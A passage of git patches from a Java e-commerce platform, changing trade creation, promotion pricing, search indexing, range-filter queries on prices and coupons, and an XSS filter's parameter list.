com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; /** * 交易业务层实现 * * @author Chopper * @date 2020/11/17 7:39 下午 */ @Service @Transactional(rollbackFor = Exception.class) public class TradeServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, JSONUtil.toJsonStr(tradeDTO)); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } /** * 订单配送区域校验 */ if (tradeDTO.getNotSupportFreight() != null && tradeDTO.getNotSupportFreight().size() > 0) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> { stringBuilder.append(sku.getGoodsSku().getGoodsName()); }); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint().longValue(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.update(new LambdaUpdateWrapper() .eq(KanjiaActivity::getId, kanjiaId) .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); } } } \ No newline at end of file +package cn.lili.modules.order.order.serviceimpl; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.mapper.TradeMapper; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.TradeService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.OrderTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; /** * 交易业务层实现 * * @author Chopper * @date 2020/11/17 7:39 下午 */ @Service @Transactional(rollbackFor = Exception.class) public class TradeServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, JSONUtil.toJsonStr(tradeDTO)); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } //订单配送区域校验 if (tradeDTO.getNotSupportFreight() != null && !tradeDTO.getNotSupportFreight().isEmpty()) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> stringBuilder.append(sku.getGoodsSku().getGoodsName())); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint().longValue(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.update(new LambdaUpdateWrapper() .eq(KanjiaActivity::getId, kanjiaId) .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); } } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java index 0aaf3dd8..2afd8593 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java @@ -126,7 +126,6 @@ public class PromotionServiceImpl implements PromotionService { case PINTUAN: Pintuan pintuan = pintuanService.getById(promotionGoods.getPromotionId()); promotionMap.put(esPromotionKey, pintuan); - index.setPromotionPrice(promotionGoods.getPrice()); break; case FULL_DISCOUNT: FullDiscount fullDiscount = fullDiscountService.getById(promotionGoods.getPromotionId()); @@ -168,7 +167,6 @@ public class PromotionServiceImpl implements PromotionService { seckill.setStartTime(promotionGoods.getStartTime()); seckill.setEndTime(promotionGoods.getEndTime()); promotionMap.put(seckillKey, seckill); - index.setPromotionPrice(promotionGoods.getPrice()); } } diff --git a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java index a8eb648f..66ffdd64 100644 --- a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java +++ b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java @@ -309,6 +309,7 @@ public class EsGoodsIndex implements Serializable { this.intro = sku.getIntro(); this.grade = sku.getGrade(); this.recommend = sku.getRecommend(); + this.goodsType = sku.getGoodsType(); this.releaseTime = new Date(); } } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index f3c3d105..1fb665ff 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -522,9 +522,6 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements //促销不为空则进行清洗 promotionMap.entrySet().removeIf(i -> { BasePromotions promotion = (BasePromotions) i.getValue(); - if (i.getKey().contains(PromotionTypeEnum.SECKILL.name()) || i.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { - goodsIndex.setPromotionPrice(goodsIndex.getPrice()); - } return promotion.getEndTime() != null && promotion.getEndTime().getTime() < DateUtil.date().getTime(); }); } From e8d9556a4bcf767ff71e707fc054de46d7e1109c Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 4 Jan 2022 09:06:23 +0800 Subject: [PATCH 133/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E9=83=A8=E5=88=86?= =?UTF-8?q?=E6=9F=A5=E8=AF=A2=EF=BC=8C=E6=97=B6=E9=97=B4=E6=9F=A5=E8=AF=A2?= =?UTF-8?q?=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../filter/XssHttpServletRequestWrapper.java | 5 ++ .../config/ElasticsearchConfig.java | 2 +- .../goods/entity/dto/GoodsSearchParams.java | 4 +- .../entity/vo/AfterSaleSearchParams.java | 49 ++++++++++++------- .../order/entity/dto/OrderSearchParams.java | 11 +++++ .../order/serviceimpl/OrderServiceImpl.java | 3 +- .../entity/dto/search/CouponSearchParams.java | 12 ++--- .../dto/search/MemberCouponSearchParams.java | 4 +- 8 files changed, 59 insertions(+), 31 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index 8b36dd74..4e6d6f93 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -48,6 +48,11 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { "iv", "mail", "sell", + "id", + "price", + "prop", + "reply", + "profile", "privateKey", "wechatpay", }; diff --git a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java index 22a709ad..38b63496 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java +++ b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java @@ -63,7 +63,7 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration { restBuilder.setRequestConfigCallback(requestConfigBuilder -> requestConfigBuilder.setConnectTimeout(1000) //time until a connection with the server is established. .setSocketTimeout(12 * 1000) //time of inactivity to wait for packets[data] to receive. - .setConnectionRequestTimeout(2 * 1000)); //time to fetch a connection from the connection pool 0 for infinite. + .setConnectionRequestTimeout(-1)); //time to fetch a connection from the connection pool 0 for infinite. client = new RestHighLevelClient(restBuilder); return client; diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java index 76370098..db523f1d 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java @@ -131,9 +131,9 @@ public class GoodsSearchParams extends PageVO { if (CharSequenceUtil.isNotEmpty(price)) { String[] s = price.split("_"); if (s.length > 1) { - queryWrapper.ge("price", s[1]); + queryWrapper.between("price", s[0], s[1]); } else { - queryWrapper.le("price", s[0]); + queryWrapper.ge("price", s[0]); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java index 6c8bfcd1..66e91231 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java @@ -1,12 +1,13 @@ package cn.lili.modules.order.aftersale.entity.vo; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import org.springframework.format.annotation.DateTimeFormat; import java.util.Date; @@ -17,6 +18,7 @@ import java.util.Date; * @author paulG * @since 2020/12/4 **/ +@EqualsAndHashCode(callSuper = true) @Data public class AfterSaleSearchParams extends PageVO { @@ -44,6 +46,9 @@ public class AfterSaleSearchParams extends PageVO { @ApiModelProperty(value = "实际退款金额,可以为范围,如10_1000") private String actualRefundPrice; + @ApiModelProperty(value = "总价格,可以为范围,如10_1000") + private String flowPrice; + /** * @see cn.lili.modules.order.trade.entity.enums.AfterSaleTypeEnum */ @@ -66,33 +71,33 @@ public class AfterSaleSearchParams extends PageVO { public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); - if (StringUtils.isNotEmpty(sn)) { + if (CharSequenceUtil.isNotEmpty(sn)) { queryWrapper.like("sn", sn); } - if (StringUtils.isNotEmpty(orderSn)) { + if (CharSequenceUtil.isNotEmpty(orderSn)) { queryWrapper.like("order_sn", orderSn); } //按买家查询 - if (StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MEMBER.name())) { + if (CharSequenceUtil.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MEMBER.name())) { queryWrapper.eq("member_id", UserContext.getCurrentUser().getId()); } //按卖家查询 - if (StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name())) { + if (CharSequenceUtil.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name())) { queryWrapper.eq("store_id", UserContext.getCurrentUser().getStoreId()); } - if (StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MANAGER.name()) - && StringUtils.isNotEmpty(storeId) + if (CharSequenceUtil.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MANAGER.name()) + && CharSequenceUtil.isNotEmpty(storeId) ) { queryWrapper.eq("store_id", storeId); } - if (StringUtils.isNotEmpty(memberName)) { + if (CharSequenceUtil.isNotEmpty(memberName)) { queryWrapper.like("member_name", memberName); } - if (StringUtils.isNotEmpty(storeName)) { + if (CharSequenceUtil.isNotEmpty(storeName)) { queryWrapper.like("store_name", storeName); } - if (StringUtils.isNotEmpty(goodsName)) { + if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.like("goods_name", goodsName); } //按时间查询 @@ -102,10 +107,10 @@ public class AfterSaleSearchParams extends PageVO { if (endDate != null) { queryWrapper.le("create_time", endDate); } - if (StringUtils.isNotEmpty(serviceStatus)) { + if (CharSequenceUtil.isNotEmpty(serviceStatus)) { queryWrapper.eq("service_status", serviceStatus); } - if (StringUtils.isNotEmpty(serviceType)) { + if (CharSequenceUtil.isNotEmpty(serviceType)) { queryWrapper.eq("service_type", serviceType); } this.betweenWrapper(queryWrapper); @@ -114,20 +119,28 @@ public class AfterSaleSearchParams extends PageVO { } private void betweenWrapper(QueryWrapper queryWrapper) { - if (StringUtils.isNotEmpty(applyRefundPrice)) { + if (CharSequenceUtil.isNotEmpty(applyRefundPrice)) { String[] s = applyRefundPrice.split("_"); if (s.length > 1) { - queryWrapper.ge("apply_refund_price", s[1]); + queryWrapper.between("apply_refund_price", s[0], s[1]); } else { - queryWrapper.le("apply_refund_price", s[0]); + queryWrapper.ge("apply_refund_price", s[0]); } } - if (StringUtils.isNotEmpty(actualRefundPrice)) { + if (CharSequenceUtil.isNotEmpty(actualRefundPrice)) { String[] s = actualRefundPrice.split("_"); if (s.length > 1) { - queryWrapper.ge("actual_refund_price", s[1]); + queryWrapper.between("actual_refund_price", s[0], s[1]); } else { - queryWrapper.le("actual_refund_price", s[0]); + queryWrapper.ge("actual_refund_price", s[0]); + } + } + if (CharSequenceUtil.isNotEmpty(flowPrice)) { + String[] s = flowPrice.split("_"); + if (s.length > 1) { + queryWrapper.between("flow_price", s[0], s[1]); + } else { + queryWrapper.ge("flow_price", s[0]); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java index 895b2f41..d9b25dab 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java @@ -106,6 +106,9 @@ public class OrderSearchParams extends PageVO { @ApiModelProperty(value = "是否为某订单类型的订单,如果是则为订单类型的id,否则为空") private String promotionId; + @ApiModelProperty(value = "总价格,可以为范围,如10_1000") + private String flowPrice; + /** * @see OrderPromotionTypeEnum */ @@ -209,6 +212,14 @@ public class OrderSearchParams extends PageVO { wrapper.eq(CharSequenceUtil.isNotEmpty(orderPromotionType), "o.order_promotion_type", orderPromotionType); + if (CharSequenceUtil.isNotEmpty(flowPrice)) { + String[] s = flowPrice.split("_"); + if (s.length > 1) { + wrapper.between("o.flow_price", s[0], s[1]); + } else { + wrapper.ge("o.flow_price", s[0]); + } + } wrapper.eq("o.delete_flag", false); return wrapper; } diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 9fdc560f..b2516414 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -797,8 +797,7 @@ public class OrderServiceImpl extends ServiceImpl implements if (count == 1) { //如果为开团订单,则发布一个一小时的延时任务,时间到达后,如果未成团则自动结束(未开启虚拟成团的情况下) PintuanOrderMessage pintuanOrderMessage = new PintuanOrderMessage(); -// long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); - long startTime = DateUtil.offsetMinute(new Date(), 2).getTime(); + long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); pintuanOrderMessage.setOrderSn(parentOrderSn); pintuanOrderMessage.setPintuanId(pintuanId); TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java index 50ff6350..f71a198c 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java @@ -115,25 +115,25 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se if (CharSequenceUtil.isNotEmpty(publishNum)) { String[] s = publishNum.split("_"); if (s.length > 1) { - queryWrapper.ge("publish_num", s[1]); + queryWrapper.between("publish_num", s[0], s[1]); } else { - queryWrapper.le("publish_num", publishNum); + queryWrapper.ge("publish_num", s[0]); } } if (CharSequenceUtil.isNotEmpty(price)) { String[] s = price.split("_"); if (s.length > 1) { - queryWrapper.ge(PRICE_COLUMN, s[1]); + queryWrapper.between(PRICE_COLUMN, s[0], s[1]); } else { - queryWrapper.le(PRICE_COLUMN, s[0]); + queryWrapper.ge(PRICE_COLUMN, s[0]); } } if (CharSequenceUtil.isNotEmpty(receivedNum)) { String[] s = receivedNum.split("_"); if (s.length > 1) { - queryWrapper.ge("received_num", s[1]); + queryWrapper.between("received_num", s[0], s[1]); } else { - queryWrapper.le("received_num", s[0]); + queryWrapper.ge("received_num", s[0]); } } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java index de0fc500..f666646c 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java @@ -84,9 +84,9 @@ public class MemberCouponSearchParams extends BasePromotionsSearchParams impleme if (CharSequenceUtil.isNotEmpty(price)) { String[] s = price.split("_"); if (s.length > 1) { - queryWrapper.ge(PRICE_COLUMN, s[1]); + queryWrapper.between(PRICE_COLUMN, s[0], s[1]); } else { - queryWrapper.le(PRICE_COLUMN, s[0]); + queryWrapper.ge(PRICE_COLUMN, s[0]); } } if (this.getStartTime() != null) { From ddd7c336cf8de3cbdd2865febb3d57bb0b34ce58 Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 4 Jan 2022 19:55:51 +0800 Subject: [PATCH 134/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E4=BF=AE=E5=A4=8Dbug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../main/java/cn/lili/common/vo/SearchVO.java | 3 +- .../goods/serviceimpl/GoodsServiceImpl.java | 47 +++++++++---------- .../MemberPointsHistoryServiceImpl.java | 17 +++---- .../order/cart/entity/vo/CartSkuVO.java | 7 +-- .../cart/render/impl/CheckDataRender.java | 12 ----- .../order/serviceimpl/OrderServiceImpl.java | 4 +- .../serviceimpl/SystemLogServiceImpl.java | 8 ++-- .../KanjiaActivityGoodsServiceImpl.java | 9 ++-- .../promotion/tools/PromotionTools.java | 22 +++++++-- .../search/entity/dos/EsGoodsIndex.java | 5 ++ 10 files changed, 64 insertions(+), 70 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/vo/SearchVO.java b/framework/src/main/java/cn/lili/common/vo/SearchVO.java index d0d6c818..3f752e79 100644 --- a/framework/src/main/java/cn/lili/common/vo/SearchVO.java +++ b/framework/src/main/java/cn/lili/common/vo/SearchVO.java @@ -31,8 +31,7 @@ public class SearchVO implements Serializable { if (StringUtils.isEmpty(startDate)) { return null; } - Date date = DateUtil.toDate(startDate, DateUtil.STANDARD_DATE_FORMAT); - return date; + return DateUtil.toDate(startDate, DateUtil.STANDARD_DATE_FORMAT); } public Date getConvertEndDate() { diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 101ad3ee..683bf93b 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -119,7 +119,7 @@ public class GoodsServiceImpl extends ServiceImpl implements @Override public List getByBrandIds(List brandIds) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper(); + LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper<>(); lambdaQueryWrapper.in(Goods::getBrandId, brandIds); return list(lambdaQueryWrapper); } @@ -306,11 +306,7 @@ public class GoodsServiceImpl extends ServiceImpl implements } if (GoodsStatusEnum.DOWN.equals(goodsStatusEnum)) { - - //商品删除消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), RocketmqSendCallbackBuilder.commonCallback()); + this.deleteEsGoods(goodsIds); } return result; } @@ -340,6 +336,9 @@ public class GoodsServiceImpl extends ServiceImpl implements for (Goods goods : goodsList) { goodsSkuService.updateGoodsSkuStatus(goods); } + if (GoodsStatusEnum.DOWN.equals(goodsStatusEnum)) { + this.deleteEsGoods(goodsIds); + } return result; } @@ -361,10 +360,7 @@ public class GoodsServiceImpl extends ServiceImpl implements goodsSkuService.updateGoodsSkuStatus(goods); } - //商品删除消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), RocketmqSendCallbackBuilder.commonCallback()); + this.deleteEsGoods(goodsIds); return true; } @@ -447,6 +443,19 @@ public class GoodsServiceImpl extends ServiceImpl implements .eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name())); } + + /** + * 发送删除es索引的信息 + * + * @param goodsIds 商品id + */ + private void deleteEsGoods(List goodsIds) { + //商品删除消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), 